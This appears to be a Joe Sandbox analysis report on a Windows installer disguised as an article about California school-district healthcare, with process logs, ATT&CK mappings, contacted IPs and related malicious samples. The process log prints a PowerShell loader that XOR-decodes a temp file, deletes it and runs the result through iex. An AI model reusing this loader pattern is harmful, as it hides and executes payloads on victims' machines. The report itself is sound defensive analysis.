Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeProcess created: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp "c:\users\user\appdata\local\temp\is-96m8k.tmp\must-school-districts-in-california-offer-free-healthcare-for-employees.tmp" /sl5="$20408,320672528,821248,c:\users\user\desktop\must-school-districts-in-california-offer-free-healthcare-for-employees.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "iex([text.encoding]::utf8.getstring((({$f=[io.file]::readallbytes($args[0]);(rm $args[0]);return $f}.invoke('c:\users\user\appdata\local\temp\is-khiog.tmp\..\a88942a46582b71dbf2e1eacf7cbc7f9.dat'))|%{$_ -bxor 'yxawmffazxzdohkgieqrlqjtojubnswc'[$k++%32]})))"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeQueries volume information: C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeQueries volume information: C:\Windows\Fonts\segoeuib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeQueries volume information: C:\Windows\Fonts\segoeuib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeQueries volume information: C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeQueries volume information: C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		1
Drive-by Compromise		21
Windows Management Instrumentation		1
Scripting		11
Process Injection		3
Masquerading		OS Credential Dumping3
Security Software Discovery		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault Accounts12
Command and Scripting Interpreter		1
DLL Side-Loading		1
DLL Side-Loading		5
Virtualization/Sandbox Evasion		LSASS Memory5
Virtualization/Sandbox Evasion		Remote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
Extra Window Memory Injection		11
Modify Registry		Security Account Manager1
Process Discovery		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
Disable or Modify Tools		NTDS1
Application Window Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script11
Process Injection		LSA Secrets2
System Owner/User Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
Obfuscated Files or Information		Cached Domain Credentials2
File and Directory Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
Software Packing		DCSync34
System Information Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
DLL Side-Loading		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
Extra Window Memory Injection		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1555371 Sample: Must-School-Districts-In-Ca... Startdate: 13/11/2024 Architecture: WINDOWS Score: 52 71 Sigma detected: PowerShell Base64 Encoded IEX Cmdlet 2->71 73 Sigma detected: Suspicious Script Execution From Temp Folder 2->73 9 Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe 2 2->9         started        12 svchost.exe 2->12         started        process3 dnsIp4 47 Must-School-Distri...e-For-Employees.tmp, PE32 9->47 dropped 15 Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp 3 17 9->15         started        69 127.0.0.1 unknown unknown 12->69 file5 process6 file7 49 C:\...\PhotoshopElements_2024_LS30_win64.exe, PE32 15->49 dropped 51 C:\Users\user\AppData\Local\...\_setup64.tmp, PE32+ 15->51 dropped 53 C:\...\PhotoshopElements_2024_LS30_win64.exe, PE32 15->53 dropped 18 PhotoshopElements_2024_LS30_win64.exe 15->18         started        23 powershell.exe 15->23         started        process8 dnsIp9 61 18.211.200.223 AMAZON-AESUS United States 18->61 63 3.211.174.17 AMAZON-AESUS United States 18->63 65 2 other IPs or domains 18->65 39 05_PSE2024_Install...l_NewUI_445x239.png, PNG 18->39 dropped 41 05_PSE2024_Install...CallOut_445x239.png, PNG 18->41 dropped 43 04_PSE2024_Install...lection_445x239.png, PNG 18->43 dropped 45 16 other malicious files 18->45 dropped 75 Writes many files with high entropy 18->75 25 chrome.exe 18->25         started        28 PhotoshopElements_2024_LS30_win64.exe 18->28         started        30 conhost.exe 23->30         started        file10 signatures11 process12 dnsIp13 67 239.255.255.250 unknown Reserved 25->67 32 chrome.exe 25->32         started        35 chrome.exe 25->35         started        37 chrome.exe 25->37         started        process14 dnsIp15 55 9.9.9.9 QUAD9-AS-1US United States 32->55 57 64.233.177.103 GOOGLEUS United States 32->57 59 9 other IPs or domains 32->59

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe5%ReversingLabs

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\PhotoshopElements_2024_LS30_win64.exe3%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp5%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe3%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\_isetup\_setup64.tmp0%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://ocsps.ssl.com0?0%Avira URL Cloudsafe
https://www.innosetup.com/0%Avira URL Cloudsafe
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU0%Avira URL Cloudsafe
https://www.remobjects.com/ps0%Avira URL Cloudsafe
http://ocsps.ssl.com00%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http://typekit.com/eulas/000000000000000000014f51liPhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16070942690.000000000596A000.00000004.00000020.00020000.00000000.sdmpfalse
    		high
    http://typekit.com/eulas/000000000000000000014f50liPhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16071798828.000000000596A000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16071691549.000000000596A000.00000004.00000020.00020000.00000000.sdmpfalse
      		high
      https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupUMust-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
      • Avira URL Cloud: safe
      		unknown
      http://typekit.com/eulas/000000000000000000014825PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
        		high
        http://typekit.com/eulas/000000000000000000014824PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
          		high
          http://ocsps.ssl.com0?Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
          • Avira URL Cloud: safe
          		unknown
          http://typekit.com/eulas/000000000000000000014823PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
            		high
            http://typekit.com/eulas/000000000000000000014822PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                		high
                http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0QMust-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                  		high
                  http://ocsps.ssl.com0Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://typekit.com/eulas/000000000000000000014f4dliPhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16067711939.000000000596B000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    http://typekit.com/eulas/000000000000000000014f4fliPhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16070788516.000000000596A000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16070299364.000000000596B000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16070170535.000000000596A000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high
                      http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                        		high
                        http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                          		high
                          https://use.typekit.net/af/c2b3ac/00000000000000000PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16053229820.0000000004912000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16052674067.0000000004912000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16051181473.0000000004912000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16051718061.0000000004912000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16050646793.0000000004912000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                              		high
                              http://typekit.com/eulas/000000000000000000014f4ePhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://typekit.com/eulas/000000000000000000014f4dPhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://g.live.com/odclientsettings/Prod/C:svchost.exe, 0000000E.00000003.16774026373.00000150FA229000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.16774026373.00000150FA200000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://crls.ssl.com/ssl.com-rsa-RootCA.crl0Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                                      		high
                                      http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                                        		high
                                        https://www.remobjects.com/psMust-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16013538978.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16012340859.0000000002680000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000000.16016709360.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp.0.drfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://www.innosetup.com/Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16013538978.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16012340859.0000000002680000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000000.16016709360.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp.0.drfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://www.ssl.com/repository0Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                                          		high
                                          http://typekit.com/eulas/000000000000000000014f4fPhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEMindex.html.5.dr, index.html1.5.drfalse
                                              		high
                                              http://typekit.com/eulas/000000000000000000014f52PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                http://typekit.com/eulas/000000000000000000014f51PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://typekit.com/eulas/000000000000000000014f50PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exefalse
                                                      		high

                                                      World Map of Contacted IPs

                                                      • No. of IPs < 25%
                                                      • 25% < No. of IPs < 50%
                                                      • 50% < No. of IPs < 75%
                                                      • 75% < No. of IPs

                                                      Public IPs

                                                      IPDomainCountryFlagASNASN NameMalicious
                                                      18.244.194.168
                                                      		unknownUnited States
                                                      		16509AMAZON-02USfalse
                                                      34.199.175.181
                                                      		unknownUnited States
                                                      		14618AMAZON-AESUSfalse
                                                      3.211.174.17
                                                      		unknownUnited States
                                                      		14618AMAZON-AESUSfalse
                                                      74.125.138.99
                                                      		unknownUnited States
                                                      		15169GOOGLEUSfalse
                                                      9.9.9.9
                                                      		unknownUnited States
                                                      		19281QUAD9-AS-1USfalse
                                                      52.89.130.37
                                                      		unknownUnited States
                                                      		16509AMAZON-02USfalse
                                                      1.1.1.1
                                                      		unknownAustralia
                                                      		13335CLOUDFLARENETUSfalse
                                                      63.140.38.138
                                                      		unknownUnited States
                                                      		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
                                                      35.166.170.173
                                                      		unknownUnited States
                                                      		16509AMAZON-02USfalse
                                                      13.33.4.12
                                                      		unknownUnited States
                                                      		7018ATT-INTERNET4USfalse
                                                      63.140.39.22
                                                      		unknownUnited States
                                                      		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
                                                      239.255.255.250
                                                      		unknownReserved
                                                      		unknownunknownfalse
                                                      64.233.177.103
                                                      		unknownUnited States
                                                      		15169GOOGLEUSfalse
                                                      13.33.4.32
                                                      		unknownUnited States
                                                      		7018ATT-INTERNET4USfalse
                                                      104.18.86.42
                                                      		unknownUnited States
                                                      		13335CLOUDFLARENETUSfalse
                                                      18.211.200.223
                                                      		unknownUnited States
                                                      		14618AMAZON-AESUSfalse

                                                      Private

                                                      IP
                                                      127.0.0.1

                                                      General Information

                                                      Joe Sandbox version:41.0.0 Charoite
                                                      Analysis ID:1555371
                                                      Start date and time:2024-11-13 20:05:25 +01:00
                                                      Joe Sandbox product:CloudBasic
                                                      Overall analysis duration:0h 17m 21s
                                                      Hypervisor based Inspection enabled:false
                                                      Report type:full
                                                      Cookbook file name:default.jbs
                                                      Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                                      Run name:Potential for more IOCs and behavior
                                                      Number of analysed new started processes analysed:15
                                                      Number of new started drivers analysed:0
                                                      Number of existing processes analysed:0
                                                      Number of existing drivers analysed:0
                                                      Number of injected processes analysed:0
                                                      Technologies:
                                                      • HCA enabled
                                                      • EGA enabled
                                                      • AMSI enabled
                                                      Analysis Mode:default
                                                      Sample name:Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
                                                      Detection:MAL
                                                      Classification:mal52.rans.evad.winEXE@32/136@0/17
                                                      EGA Information:Failed
                                                      HCA Information:
                                                      • Successful, ratio: 100%
                                                      • Number of executed functions: 0
                                                      • Number of non-executed functions: 0
                                                      Cookbook Comments:
                                                      • Found application associated with file extension: .exe
                                                      • Override analysis time to 240s for powershell

                                                      Warnings

                                                      • Max analysis timeout: 600s exceeded, the analysis took too long
                                                      • Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe, TextInputHost.exe
                                                      • Excluded IPs from analysis (whitelisted): 54.227.187.23, 52.202.204.11, 23.22.254.206, 52.5.13.197, 104.76.210.10, 104.76.210.6, 192.168.11.20, 172.66.0.163, 162.159.140.165, 142.250.105.94, 142.250.105.102, 142.250.105.101, 142.250.105.138, 142.250.105.100, 142.250.105.139, 142.250.105.113, 142.250.9.84, 34.104.35.123, 172.64.155.179, 104.18.32.77, 23.40.205.73, 23.40.205.40, 23.213.26.142, 23.213.26.139, 23.1.105.8, 23.1.105.19, 23.220.188.152, 18.213.158.126, 52.72.164.124, 64.233.185.95, 64.233.176.95, 173.194.219.95, 74.125.136.95, 172.253.124.95, 172.217.215.95, 64.233.177.95, 142.250.9.95, 108.177.122.95, 74.125.21.95, 142.250.105.95, 74.125.138.95, 23.40.205.50, 23.40.205.16, 173.194.219.94
                                                      • Excluded domains from analysis (whitelisted): ims-na1.adobelogin.com.cdn.cloudflare.net, e4578.dscg.akamaiedge.net, auth.services.adobe.com, delegated-va6.cloud.adobe.io, resources.licenses.adobe.com, clientservices.googleapis.com, na1e-uw.services.adobe.com, server.messaging.adobe.com, a1874.dscg1.akamai.net, clients2.google.com, delegated.identity.adobe.com, use-stls.adobe.com.edgesuite.net, ssl-delivery.adobe.com.edgekey.net, update.googleapis.com, lcs-cops.adobe.io, sstats.adobe.com, delegated-va6-hardfail.identity.adobe.com, stls.adobe.com-cn.edgesuite.net.globalredir.akadns.net, accounts.google.com, content-autofill.googleapis.com, na1e-acc.services.adobe.com, www.googleapis.com, cc-api-data.adobe.io, stls.adobe.com-cn.edgesuite.net, p.typekit.net-stls-v3.edgesuite.net, delegated-va6.identity.adobe.com, edgedl.me.gvt1.com, a1815.dscr.akamai.net, clients.l.google.com, auth.services.adobe.com.cdn.cloudflare.net, geo2.adobe.com, www.adobe.com, a1988.dscg1.akamai.net
                                                      • Not all processes where analyzed, report is missing behavior information
                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                      • Report size getting too big, too many NtUserSetTimer calls found.
                                                      • VT rate limit hit for: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

                                                      Simulations

                                                      Behavior and APIs

                                                      TimeTypeDescription
                                                      14:07:44API Interceptor31885962x Sleep call for process: PhotoshopElements_2024_LS30_win64.exe modified
                                                      14:08:55API Interceptor2x Sleep call for process: svchost.exe modified

                                                      LLM Input / Output

                                                      InputOutput
                                                      URL: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%2 Model: claude-3-haiku-20240307
                                                      ```json
{
  "contains_trigger_text": true,
  "trigger_text": "Sign in",
  "prominent_button_name": "Continue",
  "text_input_field_labels": [
    "Email address"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false
}
                                                      URL: Model: claude-3-5-sonnet-latest
                                                      {
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}
                                                      URL: https://auth.services.adobe.com
                                                      URL: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%2 Model: claude-3-haiku-20240307
                                                      ```json
{
  "brands": [
    "Adobe"
  ]
}

                                                      Joe Sandbox View / Context

                                                      IPs

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      9.9.9.9pdfguruhub.msiGet hashmaliciousUnknownBrowse
                                                        ACHAT DE 2 IMMEUBLES.pdfGet hashmaliciousUnknownBrowse
                                                          allpdfpro.msiGet hashmaliciousUnknownBrowse
                                                            file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                              Setup.exeGet hashmaliciousUnknownBrowse
                                                                Setup.exeGet hashmaliciousUnknownBrowse
                                                                  file.exeGet hashmaliciousAmadey, LummaC Stealer, XWormBrowse
                                                                    http://assets.website-files.com/65e885e17261602dcdc10dce/663166d899226eaa1af23d4b_kilexi.pdfGet hashmaliciousUnknownBrowse
                                                                      All-in-one Calculation Tool.xlsmGet hashmaliciousUnknownBrowse
                                                                        https://agent.fleetdeck.io/RJhGzP5jyL7Wdj5mXz3b8B?winGet hashmaliciousUnknownBrowse
                                                                          1.1.1.1PO-230821_pdf.exeGet hashmaliciousFormBook, NSISDropperBrowse
                                                                          • www.974dp.com/sn26/?kJBLpb8=qaEGeuQorcUQurUZCuE8d9pas+Z0M0brqtX248JBolEfq8j8F1R9i1jKZexhxY54UlRG&ML0tl=NZlpi
                                                                          AFfv8HpACF.exeGet hashmaliciousUnknownBrowse
                                                                          • 1.1.1.1/
                                                                          INVOICE_90990_PDF.exeGet hashmaliciousFormBookBrowse
                                                                          • www.quranvisor.com/usvr/?mN9d3vF=HHrW7cA9N4YJlebHFvlsdlDciSnnaQItEG8Ccfxp291VjnjcuwoPACt7EOqEq4SWjIf8&Pjf81=-Zdd-V5hqhM4p2S
                                                                          Go.exeGet hashmaliciousUnknownBrowse
                                                                          • 1.1.1.1/
                                                                          3.211.174.17MDE_File_Sample_c30bdf9dd71e806fd1e0e834647bce524afa781f.zipGet hashmaliciousUnknownBrowse
                                                                            Illustrator_Set-Up.exeGet hashmaliciousUnknownBrowse
                                                                              https://blackearthpavement-my.sharepoint.com/:f:/p/justin/Ers-Js2n9AROj9DUuizyNWABOVK5z1CJ653Ryc0SphjDRg?e=3ZQaIFGet hashmaliciousUnknownBrowse
                                                                                https://www.google.com/url?sa=t&source=web&rct=j&opi=89978449&url=https://liceogalois.co/w712969.shtml&ved=2ahUKEwiQ2rPsxpGFAxXETEEAHemID4gQFnoECBAQAQGet hashmaliciousUnknownBrowse
                                                                                  https://ctgoodjobs.hk/english/count/count_banner.asp?banner_name=newsletter-cthr_20230930_footer_privacy&href=https://acrobat.adobe.com/id/urn:aaid:sc:EU:14dbe9e5-e1df-4ed7-8398-5a32f98ef331Get hashmaliciousUnknownBrowse
                                                                                    https://ctgoodjobs.hk/english/count/count_banner.asp?banner_name=newsletter-cthr_20230930_footer_privacy&href=https://acrobat.adobe.com/id/urn:aaid:sc:EU:496e3280-db43-4f27-9c85-1d9ad2126f15Get hashmaliciousUnknownBrowse
                                                                                      https://acrobat.adobe.com/id/urn:aaid:sc:EU:14dbe9e5-e1df-4ed7-8398-5a32f98ef331Get hashmaliciousUnknownBrowse
                                                                                        https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:6f0c4644-4b4e-427a-aed3-c432945e399aGet hashmaliciousHTMLPhisherBrowse
                                                                                          RE.msgGet hashmaliciousHTMLPhisherBrowse

                                                                                            Domains

                                                                                            ⊘No context

                                                                                            ASNs

                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                            AMAZON-AESUShttps://pthn.airrcofvbc.com/YReXjN/#&lt;EMAIL&gtGet hashmaliciousUnknownBrowse
                                                                                            • 54.83.2.40
                                                                                            https://ad.broadstreetads.com/click/1073526Get hashmaliciousUnknownBrowse
                                                                                            • 35.169.244.220
                                                                                            https://o000005496.photoshelter.com/Get hashmaliciousUnknownBrowse
                                                                                            • 34.194.61.107
                                                                                            Pmendon.ext_Reord_Adjustment.docxGet hashmaliciousCaptcha PhishBrowse
                                                                                            • 3.219.22.30
